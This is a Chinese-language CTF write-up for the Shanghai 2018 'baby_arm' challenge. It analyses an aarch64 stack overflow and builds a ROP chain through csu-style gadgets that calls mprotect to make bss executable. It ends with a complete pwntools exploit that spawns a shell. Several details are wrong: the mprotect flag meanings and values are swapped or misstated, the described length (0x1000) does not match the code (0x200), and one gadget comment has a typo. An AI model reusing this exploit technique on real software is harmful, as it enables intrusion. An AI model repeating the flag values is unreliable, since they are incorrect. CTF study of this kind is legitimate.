Shanghai2018_baby_arm
checksec

qemu模拟运行

有两处输入点
IDA静态分析
动态链接的程序比之前32位的typo静态链接的要看起来舒服点
main函数如下:

程序很简单,unk_411068变量存放在bss段,下面的sub_4007F0()函数是往栈中写入数据,但是存在溢出。而且程序中有mprotect()函数,mprotect()函数可以用来修改一段指定内存区域的保护属性,函数原型为:
1
| int mprotect(const void *start, size_t len, int prot);
|
一参addr:修改保护属性区域的起始地址
二参len:被修改保护属性区域的长度
三参prot:可以取以下几个值,并且可以用“|”将几个属性合起来使用:
PROT_READ:表示内存段内的内容可写(二进制:0,1,0,十进制:2)
PROT_WRITE:表示内存段内的内容可读(二进制:1,0,0,十进制:4)
PROT_EXEC:表示内存段中的内容可执行(二进制:0,0,1,十进制:1)
PROT_NONE:表示内存段中的内容根本没法访问(二进制:0,0,0,十进制:0)
三参prot一般可以直接给可读可写可执行权限,二进制为1,1,1,十进制7
init函数和x86下的csu_init很相似:

MOV X2, X22就是把X22寄存器中的值赋给X2(部署3参)下面X1和W0用来部署2参和1参
LDP X19, X20, [SP,#0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给0x20
gadget1:0x4008CC-0x4008DC
1 2 3 4 5 6
| .text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j .text:00000000004008CC LDP X19, X20, [SP,#0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给0x20 .text:00000000004008D0 LDP X21, X22, [SP,#0x20] ; 将sp+0x20处数据给x21,sp+0x28处数据给0x22 .text:00000000004008D4 LDP X23, X24, [SP,#0x30] ; 将sp+0x300处数据给x23,sp+0x38处数据给0x24 .text:00000000004008D8 LDP X29, X30, [SP],#0x40 ; 将sp处数据给x29,sp+0x8处数据给0x30 .text:00000000004008DC RET ; 返回x30寄存器中存放的地址
|
gadget2:0x4008AC ~ 0x4008C8
gadget2主要的功能时从X21、X22、X23、X24寄存器分别向X3、X2、X1、X0中赋值,其中X0、X1、X2三个寄存器常用来存放函数的前三个参数。接下来会将X19寄存器中的数值+1后,直接强制跳转至X3寄存器中存放的地址,这里其实是可以当做一个ret来使用的。接着回去比较X19与X20寄存器中的数值,如果相等则不跳转,如果不相等则重新执行gadget2。因此如果想要继续执行接下来代码的话,就需要实现在gadget2中部署好X19与X20寄存器中的数值
payload:
1 2 3 4 5 6 7 8
| 将"s4ndw1ch"字符串放在x29寄存器中进行占位 将csu_up地址放在x30寄存器中等待最后返回执行csu_up 将0x0放在x19寄存器中等待csu_up中+1与x20比较 将0x1放在x20寄存器中等待csu_up中与x19比较 将存放mprotect()函数的bss段地址放在x21寄存器中等待在csu_up中赋值给x3寄存器 将0x7作为mprotect()函数第三个参数放在x22寄存器中等待在csu_up中赋值给x2 将0x1000作为mprotect()函数第二个参数放在x23寄存器中等待在csu_up中赋值给x1 将存放shellcode的bss段地址作为mprotect()函数第一个参数放在x24寄存器中等待在csu_up中赋值给w0
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./arm"]) elf = ELF('./arm') context.log_level = "debug" context.arch = 'aarch64' context.os = "linux"
mprotect_plt = elf.plt['mprotect'] gadget1 = 0x4008CC gadget2 = 0x4008AC mprotect = 0x411068 shellcode_addr = 0x411068 + 0x8 shellcode = asm(shellcraft.aarch64.sh()) payload1 = p64(mprotect_plt) + shellcode io.sendlineafter('Name:',payload1) payload2 = b'a'*0x48 + p64(gadget1) payload2 += b's4ndw1ch' + p64(gadget2) + p64(0) + p64(1) payload2 += p64(mprotect) + p64(0x7) + p64(0x200) + p64(shellcode_addr) payload2 += b's4ndw1ch' + p64(shellcode_addr)
io.sendline(payload2)
io.interactive()
|
